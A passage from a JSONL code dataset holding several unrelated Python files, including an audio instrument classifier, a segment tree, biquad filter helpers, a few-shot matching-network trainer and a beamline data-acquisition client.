FuncAnimation(fig, animate, frames=len(visited_nodes)+1, interval=0.01, blit=False, repeat=False)\n \n out.release()\n fig.show()\n plt.draw()\n plt.show()\n\n anim.save('./media/a_star_exploration.gif', writer='imagepick', fps=60)\n\n print('\\nVisualization Complete.')\n\n \n def init_msg_queue(self, msg_queue):\n with open('msgs.txt', 'r') as msg_file:\n msg_queue.queue = deque(msg_file.readlines())\n","sub_path":"path_planning_dijkstras_astar/code/a_star_continuous/pathexplorer.py","file_name":"pathexplorer.py","file_ext":"py","file_size_in_byte":10132,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"483667448","text":"import numpy as np\nimport sklearn\nimport librosa\nfrom sklearn import svm\nimport joblib\nfrom sklearn import decomposition\nfrom sklearn import neighbors\nimport preprocessing\nimport classify\nimport ffmpeg\nimport matplotlib.pyplot as plt\nimport librosa.display\n\ndef feature_extract(audio_filename):\n\n sr = 44100\n window_size = 2048\n hop_size = window_size/2\n if audio_filename[5] == '1':\n print (\"This instrument is cello.\")\n elif audio_filename[5] == '2':\n print (\"This instrument is clarinet.\")\n elif audio_filename[5] == '3':\n print (\"This instrument is flut.\")\n elif audio_filename[5] == '4':\n print (\"This instrument is violin.\")\n elif audio_filename[5] == '5':\n print (\"This instrument is piano.\")\n\n music, sr= librosa.load(audio_filename, sr = sr)\n start_trim = preprocessing.detect_leading_silence(music)\n end_trim = preprocessing.detect_leading_silence(np.flipud(music))\n\n duration = len(music)\n trimmed_sound = music[start_trim:duration-end_trim]\n\n mfccs = librosa.feature.mfcc(y=trimmed_sound, sr=sr)\n #print(np.shape(mfccs))\n #print(\"Jetzt kommen die mfccs:\")\n #print(mfccs[1])\n #print(np.mean(mfccs[0]))\n \n plt.figure(figsize=(10, 4))\n librosa.display.specshow(mfccs, x_axis='time')\n plt.colorbar()\n plt.title('MFCC')\n plt.tight_layout()\n plt.show()\n \n aver = np.mean(mfccs, axis = 1)\n #print(aver) # JP\n audio_feature = aver.reshape(20)\n return audio_feature\n\n\ndef result(pre):\n if pre == 1:\n print (\"The prediction of this instrument is cello.\")\n elif pre == 2:\n print (\"The prediction of this instrument is clarinet.\")\n elif pre == 3:\n print (\"The prediction of this instrument is flut.\")\n elif pre == 4:\n print (\"The prediction of this instrument is violin.\")\n elif pre == 5:\n print (\"The prediction of this instrument is piano.\")\n\ndef main():\n audio_filename= \"test/3_6.mp3\"\n #audio_filename = input(\"Please choose an audio file(test/1-10.mp3): \")\n demo_data = feature_extract(audio_filename) # demo_data sind also jetzt die audio-features von oben\n #print(demo_data)\n print ('processed data.')\n model_params = {\n 'pca_n': 10,\n 'knn_k': 5,\n 'knn_metric': 'minkowski'\n }\n #train_and_test(data, [model_params, 'svc'])\n model = classify.load_model(model_params)\n pre = classify.predict(model, demo_data, [model_params, 'svc'])\n result(pre)\n\nif __name__ == '__main__':\n main()\n","sub_path":"demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":2518,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"155470355","text":"# encoding utf-8\n\nimport sys\nimport pickle\nfrom pyphy import *\n\ncategories = {0:'Archaea', 1:'Bacteria', 2:'Eukaryota', 3:'Viruses'}\n\ndef main(argv=None):\n print(\"PREPROCESS\")\n print(\"Getting taxids...\")\n\n taxids = [[taxid for taxid\n in getAllSonsByTaxid(getTaxidByName(cat)[0])\n if getRankByTaxid(taxid) == 'species' ]\n for cat in categories.values()]\n\n print([len(l) for l in taxids])\n\n with open(\"taxids.pickle\", 'wb') as output:\n pickle.dump(taxids, output)\n return 0\n\nif __name__ == '__main__':\n sys.exit(main())\n\n","sub_path":"python/taxids.py","file_name":"taxids.py","file_ext":"py","file_size_in_byte":588,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"526813654","text":"import sys\nimport os\nimport math\nimport logging\nlogging.basicConfig(level=logging.INFO, format='%(asctime)-15s %(levelname)s: %(message)s')\nLOG = logging.getLogger('chen2014-rl')\n\nclass SegmentTree(object) :\n def __init__(self, max_size) :\n self.max_size = int(max_size)\n self.tree_size = int(max_size)\n self.tree = [0 for i in range(4 * self.tree_size)]\n self.max_tree = [0 for i in range(4 * self.tree_size)]\n self.data = [None for i in range(4 * self.max_size)]\n self.size = 0\n self.cursor = 0\n \n def _add(self, root, left, right, position, contents, value) :\n if left == right :\n # contents == None for update value\n if contents != None :\n self.data[root] = contents\n self.tree[root] = value\n self.max_tree[root] = value\n return\n middle = (left + right) // 2\n if position <= middle :\n self._add(root * 2, left, middle, position, contents, value)\n else :\n self._add(root * 2 + 1, middle + 1, right, position, contents, value)\n\n self.tree[root] = self.tree[root * 2] + self.tree[root * 2 + 1]\n\n self.max_tree[root] = max(self.max_tree[root * 2], self.max_tree[root * 2 + 1])\n return\n \n def add(self, contents, value) :\n index = self.cursor\n self.cursor = (self.cursor + 1) % self.max_size\n self.size = min(self.size + 1, self.max_size)\n self._add(1, 0, self.max_size - 1, index, contents, value)\n\n def _find(self, root, left, right, value) :\n if left == right :\n return self.data[root], self.tree[root] / self.tree[1], left\n middle = (left + right) // 2\n if value <= self.tree[root * 2] :\n return self._find(root * 2, left, middle, value)\n else :\n return self._find(root * 2 + 1, middle + 1, right, value - self.tree[root * 2])\n \n def find(self, value, norm = True) :\n if norm:\n #LOG.info(\"self.tree[1]={0}\".format(self.tree[1]))\n value *= self.tree[1]\n return self._find(1, 0, self.max_size - 1, value)\n\n def val_update(self, index, value) :\n self._add(1, 0, self.max_size - 1, index, None, value)\n return\n\n def _get_val(self, root, left, right, position) :\n if left == right :\n return self.tree[root]\n middle = (left + right) // 2\n if position <= left :\n return self._get_val(root * 2, left, middle, position)\n else :\n return self._get_val(root * 2 + 1, middle + 1, right, position)\n\n def get_val(self, index) :\n return self._get_val(1, 0, self.max_size - 1, index)\n\n def get_max_val(self) :\n return self.max_tree[1]\n\n def filled_size(self) :\n return self.size\n","sub_path":"prioritized_rank_based/segment_tree.py","file_name":"segment_tree.py","file_ext":"py","file_size_in_byte":2823,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"451345638","text":"# Visualize year-to-topic network by means of topic-document-weights\nimport types\nimport ipywidgets as widgets\nimport bokeh\nimport bokeh.plotting\nimport numpy as np\nimport text_analytic_tools.text_analysis.derived_data_compiler as derived_data_compiler\nimport text_analytic_tools.utility.widgets as widgets_helper\nimport text_analytic_tools.common.network.utility as network_utility\nimport westac.common.utility as utility\nimport westac.notebooks.political_in_newspapers.corpus_data as corpus_data\n\nfrom text_analytic_tools.common.network.plot_utility import layout_algorithms, PlotNetworkUtility\nfrom IPython.display import display\n\nTEXT_ID = 'nx_pub_topic'\n\ndef plot_document_topic_network(network, layout, scale=1.0, titles=None):\n tools = \"pan,wheel_zoom,box_zoom,reset,hover,previewsave\"\n source_nodes, target_nodes = network_utility.get_bipartite_node_set(network, bipartite=0)\n\n source_source = network_utility.get_node_subset_source(network, layout, source_nodes)\n target_source = network_utility.get_node_subset_source(network, layout, target_nodes)\n lines_source = network_utility.get_edges_source(network, layout, scale=6.0, normalize=False)\n\n edges_alphas = network_utility.compute_alpha_vector(lines_source.data['weights'])\n\n lines_source.add(edges_alphas, 'alphas')\n\n p = bokeh.plotting.figure(plot_width=1000, plot_height=600, x_axis_type=None, y_axis_type=None, tools=tools)\n\n _ = p.multi_line('xs', 'ys', line_width='weights', level='underlay', alpha='alphas', color='black', source=lines_source)\n _ = p.circle('x','y', size=40, source=source_source, color='lightgreen', line_width=1, alpha=1.0)\n\n r_topics = p.circle('x','y', size=25, source=target_source, color='skyblue', alpha=1.0)\n\n p.add_tools(bokeh.models.HoverTool(renderers=[r_topics], tooltips=None, callback=widgets_helper.\\\n glyph_hover_callback2(target_source, 'node_id', text_ids=titles.index, text=titles, element_id=TEXT_ID))\n )\n\n text_opts = dict(x='x', y='y', text='name', level='overlay', x_offset=0, y_offset=0, text_font_size='8pt')\n\n p.add_layout(\n bokeh.models.LabelSet(\n source=source_source, text_color='black', text_align='center', text_baseline='middle', **text_opts\n )\n )\n p.add_layout(\n bokeh.models.LabelSet(\n source=target_source, text_color='black', text_align='center', text_baseline='middle', **text_opts\n )\n )\n\n return p\n\ndef display_document_topic_network(\n layout_algorithm,\n state,\n document_threshold=0.0,\n mean_threshold=0.10,\n period=None,\n ignores=None,\n scale=1.0,\n aggregate='mean',\n output_format='network',\n tick=utility.noop\n):\n\n tick(1)\n\n topic_token_weights = state.compiled_data.topic_token_weights\n document_topic_weights = state.compiled_data.document_topic_weights\n\n titles = derived_data_compiler.get_topic_titles(topic_token_weights)\n\n df = document_topic_weights\n if len(period or []) == 2:\n df = df[(df.year>=period[0]) & (df.year<=period[1])]\n\n if len(ignores or []) > 0:\n df = df[~df.topic_id.isin(ignores)]\n\n df = df[(df['weight'] >= document_threshold)]\n\n df = df.groupby(['publication_id', 'topic_id']).agg([np.mean, np.max])['weight'].reset_index()\n df.columns = ['publication_id', 'topic_id', 'mean', 'max']\n\n df = df[(df[aggregate] > mean_threshold)].reset_index()\n\n if len(df) == 0:\n print('No data! Please change selection.')\n return\n\n df[aggregate] = utility.clamp_values(list(df[aggregate]), (0.1, 1.0))\n\n df['publication'] = df.publication_id.apply(lambda x: corpus_data.ID2PUBLICATION[x])\n df['weight'] = df[aggregate]\n\n network = network_utility.create_bipartite_network(df[['publication', 'topic_id', 'weight']], 'publication', 'topic_id')\n tick()\n\n if output_format == 'network':\n args = PlotNetworkUtility.layout_args(layout_algorithm, network, scale)\n layout = (layout_algorithms[layout_algorithm])(network, **args)\n tick()\n p = plot_document_topic_network(network, layout, scale=scale, titles=titles)\n bokeh.plotting.show(p)\n\n else:\n\n df = df[['publication', 'topic_id', 'weight', 'mean', 'max']]\n df.columns = ['Source', 'Target', 'weight', 'mean', 'max']\n if output_format == 'table':\n display(df)\n if output_format == 'excel':\n filename = utility.timestamp(\"{}_publication_topic_network.xlsx\")\n df.to_excel(filename)\n if output_format == 'CSV':\n filename = utility.timestamp(\"{}_publication_topic_network.csv\")\n df.to_csv(filename, sep='\\t')\n\n display(df)\n\n tick(0)\n\ndef display_gui(state):\n\n lw = lambda w: widgets.Layout(width=w)\n\n layout_options = [ 'Circular', 'Kamada-Kawai', 'Fruchterman-Reingold']\n year_min, year_max = state.compiled_data.year_period\n\n n_topics = state.num_topics\n\n gui = types.SimpleNamespace(\n text=widgets_helper.text(TEXT_ID),\n period=widgets.IntRangeSlider(description='Time', min=year_min, max=year_max, step=1, value=(year_min, year_max), continues_update=False),\n scale=widgets.FloatSlider(description='Scale', min=0.0, max=1.0, step=0.01, value=0.1, continues_update=False),\n document_threshold=widgets.FloatSlider(description='Threshold(D)', min=0.0, max=1.0, step=0.01, value=0.00, continues_update=False),\n mean_threshold=widgets.FloatSlider(description='Threshold(G)', min=0.0, max=1.0, step=0.01, value=0.10, continues_update=False),\n aggregate=widgets.Dropdown(description='Aggregate', options=['mean', 'max'], value='mean', layout=widgets.Layout(width=\"200px\")),\n output_format=widgets.Dropdown(description='Output', options={ 'Network': 'network', 'Table': 'table', 'Excel': 'excel', 'CSV': 'csv' }, value='network', layout=lw('200px')),\n layout=widgets.Dropdown(description='Layout', options=layout_options, value='Fruchterman-Reingold', layout=lw('250px')),\n progress=widgets.IntProgress(min=0, max=4, step=1, value=0, layout=widgets.Layout(width=\"99%\")),\n ignores=widgets.SelectMultiple(description='Ignore', options=[('', None)] + [ ('Topic #'+str(i), i) for i in range(0, n_topics) ], value=[], rows=8, layout=lw('240px')),\n )\n\n def tick(x=None):\n gui.progress.value = gui.progress.value + 1 if x is None else x\n\n iw = widgets.interactive(\n display_document_topic_network,\n layout_algorithm=gui.layout,\n state=widgets.fixed(state),\n document_threshold=gui.document_threshold,\n mean_threshold=gui.mean_threshold,\n period=gui.period,\n ignores=gui.ignores,\n scale=gui.scale,\n aggregate=gui.aggregate,\n output_format=gui.output_format,\n tick=widgets.fixed(tick)\n )\n\n display(widgets.VBox([\n widgets.HBox([\n widgets.VBox([gui.layout, gui.document_threshold, gui.mean_threshold, gui.scale, gui.period]),\n widgets.VBox([gui.ignores]),\n widgets.VBox([gui.output_format, gui.progress]),\n ]),\n iw.children[-1],\n gui.text,\n ]))\n iw.update()\n\n\n","sub_path":"westac/notebooks/political_in_newspapers/notebook_gui/publication_topic_network_gui.py","file_name":"publication_topic_network_gui.py","file_ext":"py","file_size_in_byte":7143,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"109744615","text":"import numpy as np\nimport matplotlib.pyplot as plt \nimport scipy.signal as sg \nimport control as ct \n\n\ndef zplane(p,z):\n\t\"\"\"\n\tPlot Z plane poles and zeros\n\t\"\"\"\n\tfig = plt.figure(1)\n\tax = fig.add_subplot(111)\n\tplt.axis('equal')\n\tplt.axhline(color='grey')\n\tplt.axvline(color='grey')\n\tcirc = plt.Circle((0,0), radius=1, color='b',fill=False) \n\tplt.plot(np.real(z),np.imag(z),'ro',ms=10,mfc=(1,1,1,1),mew=2)\n\tplt.plot(np.real(p),np.imag(p),'rx', ms=10,mew=2)\n\tplt.xlabel('real')\n\tplt.ylabel('imag')\n\tax.add_patch(circ)\n\tplt.plot()\n\n\n\n\n##### Biquad stuff #####\ndef biquad_filter(x,a,b):\n\t\"\"\"\n\tFilter input x with difference equation\n\t\"\"\"\n\tx = np.concatenate((x,np.zeros(3)))\n\ty = np.zeros(x.size)\n\tfor i in range(0,x.size):\n\t\ty[i] = 1/a[0]*(b[0]*x[i] + b[1]*x[i-1] + b[2]*x[i-2] - a[1]*y[i-1] - a[2]*y[i-2])\n\treturn y[:-3]\n\ndef biquad_ext_filter(x,a,b):\n\t\"\"\"\n\tFilter input x with difference equation\n\t\"\"\"\n\tx = np.concatenate((x,np.zeros(4)))\n\tdy = np.zeros(x.size)\n\tfor i in range(0,x.size):\n\t\tdy[i] = 1/a[0]*(b[0]*x[i] + b[1]*x[i-1] + b[2]*x[i-2] + b[3]*x[i-3] - a[1]*dy[i-1] - a[2]*dy[i-2])\n\treturn dy[:-4]\n\n\n\ndef biquad_lowpass(f0,Q,Fs):\n\t\"\"\"\n\tCalculates biquad coeffs for a 2nd order lowpass\n\t\"\"\"\n\tw0 = 2 * np.pi * f0 / Fs\n\talpha = np.sin(w0)/(2*Q)\n\n\tb = [(1-np.cos(w0))/2, 1-np.cos(w0),(1-np.cos(w0))/2]\n\ta = [1+alpha, -2*np.cos(w0), 1-alpha]\n\treturn(a,b)\n\ndef biquad_lowpass_derivative(f0,Q,Fs):\n\t\"\"\"\n\tCalculates difference eq coeffs for 2nd order biquad filter with differentiation\n\tDifference Equation usage:\n\tdy[i] = 1/a[0]*(b[0]*x[i] + b[1]*x[i-1] + b[2]*x[i-2] + b[3]*x[i-3] - a[1]*dy[i-1] - a[2]*dy[i-2])\n\t\n\tParameters\n\t----------\n\tf0\n\t\tCorner frequency of lowpass filter in Hz\n\tQ\n\t\tQuality factor \n\tFs\n\t\tSample rate of filter\n\t\n\tReturns\n\t-------\n\ta\n\t\tarray of 3 coefficents of feedback terms\n\n\tb\n\t\tarray of 4 coefficents of forward terms\n\n\t\"\"\"\n\n\t#calculate biquad coeffs for 2nd order lowpass\n\tw0 = 2 * np.pi * f0 / Fs\n\talpha = np.sin(w0)/(2*Q)\n\tb = [(1-np.cos(w0))/2, 1-np.cos(w0),(1-np.cos(w0))/2]\n\ta = [1+alpha, -2*np.cos(w0), 1-alpha]\n\t\n\t#take derivative\n\tb = np.subtract(b + [0] ,[0] + b) * Fs\n\treturn(a,b)\n\n\n# using this to save this code for now\ndef generic_biquad(p,z,gain,freq,Fs):\n\t#p = [-.5,.5]\t\t#pole locations\n\t#z = [-.5,.99]\t#zero loations\n\t#gain = 1\t\t#gain \n\t#freq = 0.1 + 0.1j \t#at frequency \n\t#Fs = 1\t\t#sample rate\n\t#fn.zplane(p,z)\n\t#plt.show()\n\tk = gain/np.abs( (1 - z[0]*np.exp(-freq/Fs*1j))*(1 - z[1]*np.exp(-freq/Fs*1j))/( (1 - p[0]*np.exp(-freq/Fs*1j))*(1 - p[1]*np.exp(-freq/Fs*1j))))\n\n\tb = [k, -k*(z[0]+z[1]), k*z[0]*z[1]]\n\ta = [1, -(p[0]+p[1]), p[0]*p[1]]\n\t#print(a,b)\n\t#Kz = ct.tf(b,a,1/Fs)\n\treturn a, b","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":2644,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"127686209","text":"import torch\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\nfrom torch.autograd import Variable\r\nfrom torch.optim.lr_scheduler import StepLR\r\nimport numpy as np\r\nimport personalised_mn.mex_1m.dc_tg as tg\r\nimport math\r\nimport argparse\r\nimport os\r\nimport datetime as dt\r\n\r\nparser = argparse.ArgumentParser(description=\"One Shot Visual Recognition\")\r\nparser.add_argument(\"-tp\", \"--test_person\", type=str, default='03')\r\nparser.add_argument(\"-w\", \"--class_num\", type=int, default=7)\r\nparser.add_argument(\"-s\", \"--spt_num_per_class\", type=int, default=1)\r\nparser.add_argument(\"-e\", \"--episode\", type=int, default=300)\r\nparser.add_argument(\"-t\", \"--test_episode\", type=int, default=100)\r\nparser.add_argument(\"-l\", \"--learning_rate\", type=float, default=0.001)\r\nargs = parser.parse_args()\r\n\r\n# Hyper Parameters\r\nCLASS_NUM = args.class_num\r\nSPT_NUM_PER_CLASS = args.spt_num_per_class\r\nEPISODE = args.episode\r\nTEST_EPISODE = args.test_episode\r\nLEARNING_RATE = args.learning_rate\r\nTEST_PERSON = args.test_person\r\n\r\nif torch.cuda.is_available():\r\n dev = \"cuda:5\"\r\nelse:\r\n dev = \"cpu\"\r\ndevice = torch.device(dev)\r\n\r\n\r\ndef write_results(text):\r\n file_path = 'dc_1shot.csv'\r\n if os.path.isfile(file_path):\r\n f = open(file_path, 'a')\r\n f.write(text + '\\n')\r\n else:\r\n f = open(file_path, 'w')\r\n f.write(text + '\\n')\r\n f.close()\r\n\r\n\r\nclass AttentionalClassify(nn.Module):\r\n def __init__(self):\r\n super(AttentionalClassify, self).__init__()\r\n\r\n def forward(self, similarities, support_set_y):\r\n softmax = nn.Softmax()\r\n softmax_similarities = softmax(similarities)\r\n preds = softmax_similarities.unsqueeze(1).bmm(support_set_y.float()).squeeze()\r\n return preds\r\n\r\n\r\nclass DistanceNetwork(nn.Module):\r\n def __init__(self):\r\n super(DistanceNetwork, self).__init__()\r\n\r\n def forward(self, support_set, input_image):\r\n eps = 1e-10\r\n similarities = []\r\n for support_image in support_set:\r\n cosine_similarity = torch.cosine_similarity(support_image, input_image, dim=1, eps=eps)\r\n similarities.append(cosine_similarity)\r\n similarities = torch.stack(similarities)\r\n return similarities.t()\r\n\r\n\r\nclass Encoder(nn.Module):\r\n def __init__(self):\r\n super(Encoder, self).__init__()\r\n self.layer1 = nn.Sequential(\r\n nn.Linear(960, 1200),\r\n nn.BatchNorm1d(1200),\r\n nn.ReLU())\r\n\r\n def forward(self, x):\r\n out = self.layer1(x.float())\r\n return out\r\n\r\n\r\nclass RelationNetwork(nn.Module):\r\n def __init__(self):\r\n super(RelationNetwork, self).__init__()\r\n self.layer1 = DistanceNetwork()\r\n self.layer2 = AttentionalClassify()\r\n\r\n def forward(self, support_set_x, input_image, support_set_y):\r\n similarities = self.layer1(support_set_x, input_image)\r\n out = self.layer2(similarities, support_set_y)\r\n return out\r\n\r\n\r\ndef weights_init(m):\r\n classname = m.__class__.__name__\r\n if classname.find('Conv') != -1:\r\n n = m.kernel_size[0] * m.kernel_size[1] * m.out_channels\r\n m.weight.data.normal_(0, math.sqrt(2. / n))\r\n if m.bias is not None:\r\n m.bias.data.zero_()\r\n elif classname.find('BatchNorm') != -1:\r\n m.weight.data.fill_(1)\r\n m.bias.data.zero_()\r\n elif classname.find('Linear') != -1:\r\n n = m.weight.size(1)\r\n m.weight.data.normal_(0, 0.01)\r\n m.bias.data = torch.ones(m.bias.data.size())\r\n\r\n\r\ndef main():\r\n write_results(str(args))\r\n # Step 1: init data folders\r\n print(\"init data folders\")\r\n # init character folders for dataset construction\r\n metatrain_character_folders, metatest_character_folders = tg.act_folders(TEST_PERSON)\r\n\r\n # Step 2: init neural networks\r\n print(\"init neural networks\")\r\n\r\n feature_encoder = Encoder()\r\n relation_network = RelationNetwork()\r\n\r\n feature_encoder.apply(weights_init)\r\n relation_network.apply(weights_init)\r\n\r\n feature_encoder.to(device)\r\n relation_network.to(device)\r\n\r\n feature_encoder_optim = torch.optim.Adam(feature_encoder.parameters(), lr=LEARNING_RATE)\r\n feature_encoder_scheduler = StepLR(feature_encoder_optim, step_size=100000, gamma=0.5)\r\n # relation_network_optim = torch.optim.Adam(relation_network.parameters(), lr=LEARNING_RATE)\r\n # relation_network_scheduler = StepLR(relation_network_optim, step_size=100000, gamma=0.5)\r\n\r\n print(\"Training...\")\r\n\r\n test_accuracies = []\r\n\r\n for episode in range(EPISODE):\r\n\r\n feature_encoder_scheduler.step(episode)\r\n # relation_network_scheduler.step(episode)\r\n\r\n task = tg.ACTTask(metatrain_character_folders, CLASS_NUM, SPT_NUM_PER_CLASS)\r\n sample_dataloader = tg.get_data_loader(task, num_per_class=SPT_NUM_PER_CLASS, split=\"train\", shuffle=False)\r\n batch_dataloader = tg.get_data_loader(task, num_per_class=task.per_class_num, split=\"test\", shuffle=True)\r\n\r\n # sample datas\r\n samples, sample_labels = sample_dataloader.__iter__().next()\r\n # print('samples.shape:', samples.shape)\r\n # print('sample_labels.shape:', sample_labels.shape)\r\n batches, batch_labels = batch_dataloader.__iter__().next()\r\n # print('batches.shape:', batches.shape)\r\n\r\n # calculate features\r\n sample_features = feature_encoder(Variable(samples).to(device))\r\n # print('sample_features.shape:', sample_features.shape)\r\n batch_features = feature_encoder(Variable(batches).to(device))\r\n # print('batch_features.shape:', batch_features.shape)\r\n\r\n sample_features_ext = sample_features.unsqueeze(1).repeat(1, batch_features.shape[0], 1)\r\n # print('sample_features_ext.shape', sample_features_ext.shape)\r\n sample_labels_ext = sample_labels.unsqueeze(0).repeat(batch_features.shape[0], 1)\r\n # print('sample_labels_ext.shape', sample_labels_ext.shape)\r\n sample_labels_ext = torch.nn.functional.one_hot(sample_labels_ext).to(device)\r\n # print('sample_labels_ext.shape', sample_labels_ext.shape)\r\n\r\n relations = relation_network(sample_features_ext, batch_features, sample_labels_ext)\r\n # print('relations.shape:', relations.shape)\r\n\r\n cce = nn.CrossEntropyLoss().to(device)\r\n batch_labels =batch_labels.to(device)\r\n # print('batch_labels.shape:', batch_labels.shape)\r\n loss = cce(relations, batch_labels)\r\n\r\n feature_encoder.zero_grad()\r\n # relation_network.zero_grad()\r\n\r\n loss.backward()\r\n\r\n torch.nn.utils.clip_grad_norm(feature_encoder.parameters(), 0.5)\r\n # torch.nn.utils.clip_grad_norm(relation_network.parameters(), 0.5)\r\n\r\n feature_encoder_optim.step()\r\n # relation_network_optim.step()\r\n\r\n print(\"episode:\", episode + 1, \"loss\", loss.item())\r\n\r\n if (episode + 1) % 5 == 0:\r\n\r\n # test\r\n print(\"Testing...\")\r\n total_rewards = 0\r\n\r\n for i in range(TEST_EPISODE):\r\n task = tg.ACTTask(metatest_character_folders, CLASS_NUM, SPT_NUM_PER_CLASS)\r\n sample_dataloader = tg.get_data_loader(task, num_per_class=SPT_NUM_PER_CLASS, split=\"train\",\r\n shuffle=False)\r\n test_dataloader = tg.get_data_loader(task, num_per_class=task.per_class_num, split=\"test\",\r\n shuffle=True)\r\n\r\n sample_images, sample_labels = sample_dataloader.__iter__().next()\r\n test_images, test_labels = test_dataloader.__iter__().next()\r\n\r\n # calculate features\r\n sample_features = feature_encoder(Variable(sample_images).to(device))\r\n # print('sample_features.shape:', sample_features.shape)\r\n test_features = feature_encoder(Variable(test_images).to(device))\r\n # print('test_features.shape:', test_features.shape)# 20x64\r\n\r\n sample_features_ext = sample_features.unsqueeze(1).repeat(1, test_features.shape[0], 1)\r\n # print('sample_features_ext.shape', sample_features_ext.shape)\r\n sample_labels_ext = sample_labels.unsqueeze(0).repeat(test_features.shape[0], 1)\r\n # print('sample_labels_ext.shape', sample_labels_ext.shape)\r\n sample_labels_ext = torch.nn.functional.one_hot(sample_labels_ext).to(device)\r\n # print('sample_labels_ext.shape', sample_labels_ext.shape)\r\n\r\n relations = relation_network(sample_features_ext, test_features, sample_labels_ext)\r\n # print('relations.shape:', relations.shape)\r\n\r\n _, predict_labels = torch.max(relations.data, 1)\r\n\r\n rewards = [1 if predict_labels[j] == test_labels[j] else 0 for j in range(CLASS_NUM)]\r\n\r\n total_rewards += np.sum(rewards)\r\n\r\n test_accuracy = total_rewards / 1.0 / CLASS_NUM / TEST_EPISODE\r\n test_accuracies.append(str(test_accuracy))\r\n print(\"test accuracy:\", test_accuracy)\r\n write_results(','.join(test_accuracies))\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","sub_path":"personalised_mn/mex_1m/dc_1shot.py","file_name":"dc_1shot.py","file_ext":"py","file_size_in_byte":9196,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"387898240","text":"import time\nimport sys\nimport signal\nimport datetime\nimport os\n\nimport daq_client \n\npulseid = {\n \"alvra\" : \"SLAAR11-LTIM01-EVR0:RX-PULSEID\",\n \"bernina\" : \"SLAAR21-LTIM01-EVR0:RX-PULSEID\",\n \"maloja\" : \"SLAAR11-LTIM01-EVR0:RX-PULSEID\"\n}\n\ndef get_beamline():\n import socket\n ip2beamlines = {\"129.129.242\": \"alvra\", \"129.129.243\": \"bernina\", \"129.129.246\": \"maloja\"}\n ip=socket.gethostbyname(socket.gethostname())\n beamline = None\n if ip[:11] in ip2beamlines:\n return ip2beamlines[ip[:11]]\n\ntry:\n import epics\n epics_available=True\n PV_pulseid=epics.PV(pulseid[get_beamline()])\nexcept:\n epics_available=False\n\ndef get_current_pulseid():\n if not epics_available:\n return get_fake_pulseid()\n else:\n try:\n p = int(PV_pulseid.get())\n except:\n p = get_fake_pulseid()\n return p\n\ndef get_fake_pulseid():\n #2020-05-08 08:29:52.742737 : 11718049010\n # 28.05.2020 - checked compared to \"real\" pulse-id: 2380 pulse's difference\n reference_date = datetime.datetime(2020, 5, 8, 8, 29, 52)\n now = datetime.datetime.utcnow()\n delta = (datetime.datetime.utcnow()-reference_date).total_seconds()*1000\n return int(delta/10)+11718049010 + 2361 \n\nclass BrokerClient:\n\n def __init__(self, pgroup):\n self.last_run = 0\n self.pgroup = pgroup\n\n self.rate_multiplicator = 1\n\n self.output_directory = None\n self.channels_file = None\n self.epics_file = None\n self.detectors_file = None\n self.scan_step_info_file = None\n\n self.start_pulseid = None\n\n beamline=get_beamline()\n raw_directory = f'/sf/{beamline}/data/{self.pgroup}/raw/'\n if not os.path.isdir(raw_directory):\n raise NameError(f'{raw_directory} doesnt exist or accessible')\n\n def configure(self, output_directory=None, \n channels_file=None, epics_file=None, \n detectors_file=None, scan_step_info_file=None,\n rate_multiplicator=1):\n\n self.output_directory = output_directory\n self.channels_file = channels_file\n self.epics_file = epics_file\n self.detectors_file = detectors_file\n self.scan_step_info_file = scan_step_info_file\n self.rate_multiplicator = rate_multiplicator\n\n try:\n beamline=get_beamline()\n last_run_file = f'/sf/{beamline}/data/{self.pgroup}/raw/run_info/LAST_RUN'\n if os.path.exists(last_run_file):\n run_file = open(last_run_file, \"r\")\n self.last_run = int(run_file.read())\n run_file.close()\n except:\n pass\n\n def start(self):\n self.start_pulseid = get_current_pulseid()\n\n def stop(self, stop_pulseid=None):\n if self.start_pulseid is not None:\n if stop_pulseid is None:\n stop_pulseid = get_current_pulseid()\n last_run_previous = self.last_run\n self.last_run = daq_client.retrieve_data_from_buffer_files(pgroup=self.pgroup, output_directory=self.output_directory,\n channels_file=self.channels_file, epics_file=self.epics_file,\n detectors_file=self.detectors_file,\n start_pulseid=self.start_pulseid, stop_pulseid=stop_pulseid,\n rate_multiplicator=self.rate_multiplicator,\n scan_step_info_file=self.scan_step_info_file)\n if self.last_run is None:\n self.last_run = last_run_previous\n self.start_pulseid = None\n else:\n print(\"Run was not started to stop it\")\n\n def status(self):\n if self.start_pulseid is not None:\n return \"running\"\n return None\n\n def run(self, number_frames=1000):\n\n self.start()\n\n stop_pulseid = int(self.start_pulseid + number_frames*self.rate_multiplicator-1)\n\n last_known_run = int(self.last_run) if self.last_run is not None else -1\n def signal_handler(sig, frame):\n current_pulseid = get_current_pulseid()\n print('\\nYou pressed Ctrl+C!')\n print(f'what do you want me to do with already collected up to now frames (pulseids: {self.start_pulseid}-{current_pulseid})')\n answer=input('[s]-save them into; any other key - discard : ')\n if answer == 's':\n self.stop(stop_pulseid=current_pulseid) \n raise NameError(\"Ctrl-c is called\")\n signal.signal(signal.SIGINT, signal_handler)\n try:\n while True:\n current_pulseid = get_current_pulseid() \n if current_pulseid >= stop_pulseid:\n break\n time.sleep(0.1)\n progress = ((current_pulseid-self.start_pulseid)/(stop_pulseid-self.start_pulseid))\n block = int(round(20*progress))\n text = \"\\r[{0}] {1}% Run: {2}\".format( \"#\"*block + \"-\"*(20-block), int(progress*100), last_known_run+1)\n sys.stdout.write(text)\n sys.stdout.flush()\n print()\n\n self.stop(stop_pulseid=stop_pulseid)\n except:\n raise\n \n","sub_path":"client/client_example.py","file_name":"client_example.py","file_ext":"py","file_size_in_byte":5207,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"21272994","text":"\"\"\"Add missing 